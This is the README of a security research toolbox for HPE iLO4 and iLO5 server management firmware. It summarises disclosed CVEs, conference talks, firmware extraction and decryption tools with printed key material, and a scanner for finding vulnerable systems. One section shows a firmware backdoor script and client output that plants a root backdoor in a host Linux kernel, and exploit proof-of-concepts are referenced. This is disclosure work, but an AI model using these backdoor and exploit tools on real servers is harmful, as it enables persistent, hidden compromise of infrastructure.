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Toolbox for HPE iLO4 & iLO5 analysis

Subverting your server through its BMC: the HPE iLO4 case

Introduction

iLO is the server management solution embedded in almost every HPE servers for more than 10 years. It provides every feature required by a system administrator to remotely manage a server without having to reach it physically. Such features include power management, remote system console, remote CD/DVD image mounting, as well as many monitoring indicators.

We've performed a deep dive security study of HPE iLO4 (known to be used on the family of servers HPE ProLiant Gen8 and ProLiant Gen9 servers) and the results of this study were presented at the REcon conference held in Brussels (February 2 - 4, 2018, see [1]).

A follow-up of our study was presented at the SSTIC conference, held in France (Rennes, June 13 - 15, 2018, see [8]). We focused this talk on firmware backdooring and achieving long-term persistence.

In November 2018, we presented our latest research on HPE iLO4 and iLO5 at ZeroNights conference, held in Saint-Petersburg, Russia (November 20 - 21, 2018, see [11]). This talk was focused on the attack surface exposed to the host operating system and on the new secure boot feature (silicon root of trust) introduced with iLO5.

iLO4 runs on a dedicated ARM processor embedded in the server, and is totally independent from the main processor. It has a dedicated flash chip to hold its firmware, a dedicated RAM chip and a dedicated network interface. On the software side, the operating system is the proprietary RTOS GreenHills Integrity [2].

Results

One critical vulnerability was identified and reported to the HPE PSRT in February 2017, known as CVE-2017-12542 (CVSSv3 base score 9.8 [3]) :

  • Authentication bypass and remote code execution
  • Fixed in iLO4 versions 2.53 (released in May 2017, buggy) and 2.54 [4]

A second critical vulnerability was identified in iLO4 and iLO5 . It was reported to the HPE PSRT in April 2018 and is known as CVE-2018-7078 (CVSSv3 base score 7.2 [9], HPE Security Bulletin HPESBHF03844 [10]) :

  • Remote or local code execution
  • Fixed in iLO4 version 2.60 (released in May 2018)
  • Fixed in iLO5 version 1.30 (released in June 2018)

A critical vulnerability was identified in the implementation of the secure boot feature of iLO5. It was reported to the HPE PSRT in September 2018 and is known as CVE-2018-7113 (CVSSv3 base score 6.4 [12], HPE Security Bulletin HPESBHF03894 [13]):

  • Local Bypass of Security Restrictions
  • Fixed in iLO5 version 1.37 (released in October 2018)

Finally another critical vulnerability allowing host to iLO arbitrary code execution was reported to HPE in Feb 2021 and is known as CVE-2021-29202 (CVSSv3 base score 6.4, HPE Security Bulletins HPESBHF04121 [19] and HPESBHF04133 [20]). It impacts iLO4 and iLO5.

Slides and demos

REcon Brussels 2018

The slides from our REcon talk are available here . They cover the following points:

  • Firmware unpacking and memory space understanding

  • GreenHills OS Integrity internals:

    • kernel object model
    • virtual memory
    • process isolation
  • Review of exposed attack surface: www, ssh, etc.

  • Vulnerability discovery and exploitation

  • Demonstration of a new exploitation technique that allows to compromise the host server operating system through DMA.

To illustrate them, we also release the three demos as videos. The first one demonstrates the use of the vulnerability we discovered to bypass the authentication from the RedFish API:

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo1_connection_bypass.gif

In the second one we show how the vulnerability can also be turned into an arbitrary remote code execution (RCE) in the process of the web server; allowing read access to the iLO file-system for example.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo2_dump_users.gif

Finally, in the third videos, we leverage this RCE to exploit an iLO4 feature which allows us to access (RW) to the host memory and inject a payload in the host Linux kernel.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo3_host_pwn.gif

SSTIC 2018

The slides from our SSTIC talk are available at this location (more details can be found in the paper). After a brief recap of our REcon talk, we propose the following new materials:

  • Firmware security and boot chain analysis
  • Backdoor architecture

To illustrate these works, we release a new demo as video. It demonstrates the use of the vulnerability we discovered in the web server to flash a new backdoored firmware. Then we demonstrate the use of the DMA communication channel to execute arbitrary commands on the host system.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo4_backdoor.gif

ZeroNights 2018

The material we presented at ZeroNights is available from there. It contains two major contributions.

First, an analysis of the communication channel between the host system and the iLO (4 or 5), known as CHIF channel interface. It opens a new attack surface, exposed to the host (even though iLO is set as disabled). We demonstrated that the exploitation of CVE-2018-7078 could allow us to flash a backdoored firmware from the host through this interface.

Then, an in-depth review of the new secure boot feature introduced with iLO5 and HPE Gen10 server line. It covers the complete bootchain, from the iLO ASIC (silicon root of trust) down to the Integrity kernel and userland images. We discovered a logic error (CVE-2018-7113) in the kernel code responsible for the integrity verification of the userland image, which can be exploited to break the chain-of-trust.

To illustrate this defeat of the secure boot feature, we propose the new video below. It demonstrates the exploitation of the logic error to update the iLO5 firmware with a compromised firmware embedding a backdoored userland image in which the banner of the SSH server has been altered.

https://github.com/airbus-seclab/ilo4_toolbox/blob/master/demos/demo5_secure_boot.gif

A proof of concept implementing the secure boot bypass alone is available in ilo5_PoC_secure_boot_bypass.py. The fum vulnerability and HP Signed File signature bypass is demonstrated in ilo5_PoC_fum_sig_bypass.py.

Insomni’Hack 2019

The slides from our talk at Insomni’Hack, available from this link, intend to wrap-up most of our work on the iLO 4 and 5 systems.

A brief analysis of the anti-downgrade feature is introduced, as well as a teaser on the whitepaper we published in collaboration with Adrien Guinet (from Quarkslab) on How to defeat NotPetya from your iLO4.

SSTIC 2021

In this new iteration of our work, presented at SSTIC (paper [17] and slides [18]), we propose an extensive analysis of the new firmware encryption mechanism introduced with HPE iLO5 firmware versions 2.x. The new boot chain, as well as the cryptographic co-processor this feature relies upon are presented, as well as our attack to extract the encryption keys from the system-on-chip(SOC).

Black Hat USA 2021

This talk goes back to the research we presented at SSTIC 2021, with more details given on some OS-level features and exploitation tricks though. Also, the slides [21] are in English.

Related works

A critical vulnerability was identified by Nicolas Iooss from The French National Cybersecurity Agency (ANSSI) in the SSH service of iLO3, iLO4 and iLO5 . It was reported to the HPE PSRT in April 2018 and is known as CVE-2018-7105 (CVSSv3 base score 7.2 [14], HPE Security Bulletin HPESBHF03866 [15]) :

  • Remote execution of arbitrary code, local disclosure of sensitive information
  • Fixed in iLO3 version 1.90 (released in August 2018)
  • Fixed in iLO4 version 2.61 (released in September 2018)
  • Fixed in iLO5 version 1.35 (released in August 2018)

Thank you Nicolas for sharing test and exploitation scripts for this issue.

Using this vulnerability it is also possible to play with PCILeech on HP iLO4 without the need for a modified firmware. Although very slow for a big memory dump, it works very well when targeting specific memory location, as done by the Windows KMD load in PCILeech. See the PCILeech HP iLO4 Service repository [16].

Tooling

To support our research we've developed scripts and tools to help us automatize some tasks, especially firmware unpacking and mapping.

Firmware

ilo4_extract.py script takes an HP Signed file as input (obtained from the update package). It is invoked with:

>python ilo4_extract.py ilo4_244.bin extract

Extract from the output log:

[+] iLO Header 0: iLO4 v 2.44.7 19-Jul-2016
  > magic              : iLO4
  > build_version      :  v 2.44.7 19-Jul-2016
  > type               : 0x08
  > compression_type   : 0x1000
  > field_24           : 0xaf8
  > field_28           : 0x105f57
  > decompressed_size  : 0x16802e0
  > raw_size           : 0xd0ead3
  > load_address       : 0xffffffff
  > field_38           : 0x0
  > field_3C           : 0xffffffff
  > signature

From the extracted file, ilo0.bin is the Integrity applicative image (userland). It contains all the tasks that will run on the iLO system. To parse each of these tasks and generate the IDA Pro loading script, one can use the script dissection.rb.

It relies upon the Metasm framework [5] and also requires the Bindata library [6].

>ruby dissection.rb ilo0.bin

Back to the kernel image, ilo4_extract.py told us that:

[+] iLO Header 1: iLO4 v 0.8.36 16-Nov-2015
  > magic              : iLO4
  > build_version      :  v 0.8.36 16-Nov-2015
  > type               : 0x02
  > compression_type   : 0x1000
  > field_24           : 0x9fd
  > field_28           : 0x100344
  > decompressed_size  : 0xc0438
  > raw_size           : 0x75dad
  > load_address       : 0x20001000
  > field_38           : 0x0
  > field_3C           : 0xffffffff

Using IDA Pro to load the extracted file ilo1.bin at 0x20001000 as ARM code, one can also study the Integrity kernel.

  • secinfo4.py parses the section information embedded into the kernel image and creates the appropriate memory segment in the disassembler
  • parse_mr.py dumps the registered Memory Region objects

iLO5 format differs slightly but is supported as well. ilo5_extract.py and dissection.rb scripts can be used in the same way as for iLO4 to extract the Integrity applicative image.

Firmware encryption

Starting with iLO5 verions 2.x, newer firmware are encrypted. The external enveloppe can be removed using the script ilo5_fw_decrypt.py.

>python ilo5_fw_decrypt.py --infile ilo5_235.bin
[+] input file: "ilo5_235.bin"
[+] skipping HP Signed File fingerprint (2088 bytes)
[+] loading RSA pem ("rsa_private_key_ilo5.asc")
> key size: 4096
[+] aes key material
> aes key: c2447180a96f6ec4b23ed5539a63548118573ccfb9866f5cacf8f13c42c5acbe
> aes iv: d13dcf4b12248561479488ad
--

[+] decrypting
> ok
[+] writing output file "ilo5_235.clear.bin":

           ┌───────────────  firmware header  ───────────────┬──────────────────┐
0x00000000 │ 6e 65 62 61 39 20 30 2e 31 30 2e 31 33 00 00 00 │ neba9 0.10.13... │
0x00000010 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000020 │ 1a 41 dd 4e 02 00 00 00 05 00 01 00 04 00 00 00 │ .A.N............ │
0x00000030 │ 00 00 00 00 00 00 00 00 50 8f 61 6b 00 00 00 00 │ ........P.ak.... │
0x00000040 │ 44 56 00 00 fe 10 5e d7 44 56 00 00 44 56 00 00 │ DV....^.DV..DV.. │
0x00000050 │ ff ff ff ff 00 00 00 00 02 00 00 00 2b 04 f2 81 │ ............+... │
0x00000060 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000070 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000080 │ 43 6f 70 79 72 69 67 68 74 20 32 30 31 39 20 48 │ Copyright 2019 H │
0x00000090 │ 65 77 6c 65 74 74 20 50 61 63 6b 61 72 64 20 45 │ ewlett Packard E │
0x000000a0 │ 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f │ nterprise Develo │
0x000000b0 │ 70 6d 65 6e 74 2c 20 4c 50 00 00 00 00 00 00 00 │ pment, LP....... │
0x000000c0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000d0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000e0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000f0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
           └─────────────────────────────────────────────────┴──────────────────┘
[!] done captain

One can then proceed to the extraction of the various firmware components using ilo5_extract.py. The main userland image is also encrypted. Depending on the version, different private keys are used. The script ilo5_image_decrypt.py comes with some private keys extracted for versions 2.3x and 2.41.

>python ilo5_image_decrypt.py --rawfile elf_secure_241.raw --hdrfile elf_secure_241.hdr
[+] loading header file elf_secure_241.raw
> version string: 2.41
[+] loading elf_secure_241.raw
[+] ec pub key
> pub.pointQ.x: 0x484ed202be9af305af716e7eef2d8b00c6ceba7337ed980a4af96079d06e4b810c15451ba82b9ff10cd830b30376ee39
> pub.pointQ.y: 0x9dd95b116424f44b0e23776e3ed85fa46b76b4922047f993f450ec89134bb7ea0770eaf851b04fa0e074e813ece4df4d
--
[+] ec priv key
> priv.pointQ.x: 0xcf1093db93ad3bb9bb7050e88f417e7b054c37b02b01120318cd88faf5e3b957fa6fa15f64c7cd6d84bdd4e88cac6ea8
> priv.pointQ.y: 0xb1f8f0bd675d05e7e0463823f2f30e2d85f3b75302af65e892451236baff9e15b76a3be2f5d39c37b08f6c65ee14203c
> priv.d: 0xffa8193746dd557afe519993d8c18de66556675d840970265bfa9ba870a2cd84ff2a45d656240631cf91bdbf767c6beb
--

[+] shared secret:
6c20dad5c5751a8ce7b6e012c3fbd5198c142edb9a52bf203a3102d783cbc8c7dd28bcac5739b62922b36e928daae51c
--

[+] aes key material
> aes key: f16f2fa26032cc4de5c9c74d889981b54759f40add797329befaae36067878ea548a6f6a7edae2aae8f877054cfa54c0
> aes iv: cf12bc3b76d5a386c9f74332
--

[+] decrypting
> ok
           ┌───────────────  firmware header  ───────────────┬──────────────────┐
0x00000000 │ 32 2e 34 31 2e 30 32 00 00 00 00 00 00 00 00 00 │ 2.41.02......... │
0x00000010 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000020 │ 1a 41 dd 4e 02 00 00 00 00 00 21 00 05 00 00 00 │ .A.N......!..... │
0x00000030 │ 01 00 00 00 00 00 00 00 b5 11 00 00 00 00 00 00 │ ................ │
0x00000040 │ 05 60 ff 00 24 e0 44 c7 05 60 ff 00 88 ec e8 01 │ .`..$.D..`...... │
0x00000050 │ ff ff ff ff 00 00 00 00 01 00 00 00 17 a6 e3 b6 │ ................ │
0x00000060 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000070 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x00000080 │ 43 6f 70 79 72 69 67 68 74 20 32 30 32 31 20 48 │ Copyright 2021 H │
0x00000090 │ 65 77 6c 65 74 74 20 50 61 63 6b 61 72 64 20 45 │ ewlett Packard E │
0x000000a0 │ 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f │ nterprise Develo │
0x000000b0 │ 70 6d 65 6e 74 2c 20 4c 50 00 00 00 00 00 00 00 │ pment, LP....... │
0x000000c0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000d0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000e0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
0x000000f0 │ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │ ................ │
           └─────────────────────────────────────────────────┴──────────────────┘

Firmware backdooring

The insert_backdoor.sh script can be run on a legitimate firmware file to add a backdoor in the webserver module. The backdoor can then be used using the backdoor_client.py script.

>./insert_backdoor.sh ilo4_250.bin
[...]
[+] Firmware ready to be flashed

>python backdoor_client.py 192.168.42.78
[+] iLO Backdoor found
[-] Linux Backdoor not detected
[...]
>>> ib.install_linux_backdoor()
[*] Dumping kernel...
[+] Dumped 1000000 bytes!
[+] Found syscall table @0xffffffff81a001c0
[+] Found sys_read @0xffffffff8121e510
[+] Found call_usermodehelper @0xffffffff81098520
[+] Found serial8250_do_pm @0xffffffff81528760
[+] Found kthread_create_on_node @0xffffffff810a2000
[+] Found wake_up_process @0xffffffff810ad860
[+] Found __kmalloc @0xffffffff811f8c50
[+] Found slow_virt_to_phys @0xffffffff8106c6a0
[+] Found msleep @0xffffffff810f0050
[+] Found strcat @0xffffffff8140c9c0
[+] Found kernel_read_file_from_path @0xffffffff812236e0
[+] Found vfree @0xffffffff811d7f90
[+] Shellcode written
[+] iLO Backdoor found
[+] Linux Backdoor found
>>> ib.cmd("/usr/bin/id")
[+] Found shared memory page! 0xeab00000 / 0xffff8800eab00000
uid=0(root) gid=0(root) groups=0(root)

Forensics

The exploit_check_flash.py script can be run against an instance of HP iLO4 vulnerable to CVE-2017-12542. Its purpose it to dump the content of the flash and then compare its digest with a known "good" value.

>python exploit_check_flash.py 192.168.42.78 250

Network

Finally, to help people scan for existing vulnerable iLO systems exposed in their own infrastructures, we release a simple Go scanner. It attempts to fetch a special iLO page: /xmldata?item=ALL; if it exists, then it extracts the firmware version and HP server type.

First edit the "targets" variable in the code and specify the internal IP ranges you want to scan.

var (
     targets = []string{
             "10.0.0.0/8",
             "192.168.66.0/23",
             "172.16.133.0/24"}
)

Then compile the code for your OS/architecture.

> env GOOS=target-OS GOARCH=target-architecture go build iloscan.go

For example:

> env GOOS=openbsd GOARCH=amd64 go build iloscan.go
> ./iloscan

Then look the result in /tmp/iloscan.log (can be changed in the source):

> less /tmp/iloscan.log
192.168.66.69{{ RIMP} [{{ HSI} ProLiant DL380 G7}] [{{ MP} 1.80 ILOCZ2069K2S4       ILO583970CZ2069K2S4}]}

Alternatively, you can invoke the binary with a subnet on the command line (individual IP addresses should be specified as a /32 netmask):

> ./iloscan 1.2.3.4/32
Generated 1.2.3.4
Fetching 1.2.3.4
1.2.3.4 status: 200 OK
{{ RIMP} [{{ HSI} ProLiant DL380 Gen9}] [{{ MP} 2.40 ILOCZJ641057H ILO826683CZJ641057H}]}

Authors

  • Fabien PERIGAUD - fabien [dot] perigaud [at] synacktiv [dot] com - @0xf4b
  • Alexandre GAZET - alexandre [dot] gazet [at] airbus [dot] com
  • Joffrey CZARNY - snorky [at] insomnihack [dot] net - @\_Sn0rkY

License

The scripts and scanner are released under the [GPLv2].

References

[1]https://recon.cx/2018/brussels/talks/subvert_server_bmc.html
[2]https://www.ghs.com/products/rtos/integrity.html
[3]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12542
[4]http://h20565.www2.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us
[5]https://github.com/jjyg/metasm
[6]https://github.com/dmendel/bindata
[8]https://www.sstic.org/2018/presentation/backdooring_your_server_through_its_bmc_the_hpe_ilo4_case/
[9]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7078
[10]https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03844en_us
[11]https://2018.zeronights.ru/en/reports/turning-your-bmc-into-a-revolving-door/
[12]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7113
[13]https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03894en_us
[14]https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7105
[15]https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03866en_us
[16]https://github.com/Synacktiv/pcileech_hpilo4_service
[17]https://airbus-seclab.github.io/ilo/SSTIC2021-Article-hpe_ilo_5_security_go_home_cryptoprocessor_youre_drunk-gazet_perigaud_czarny.pdf
[18]https://airbus-seclab.github.io/ilo/SSTIC2021-Slides-hpe_ilo_5_security_go_home_cryptoprocessor_youre_drunk-gazet_perigaud_czarny.pdf
[19]https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbhf04121en_us
[20]https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbhf04133en_us
[21]https://airbus-seclab.github.io/ilo/BHUSA2021-Slides-hpe_ilo_5_security_go_home_cryptoprocessor_youre_drunk-gazet_perigaud_czarny.pdf
[GPLv2]https://github.com/airbus-seclab/ilo4_toolbox/blob/master/COPYING

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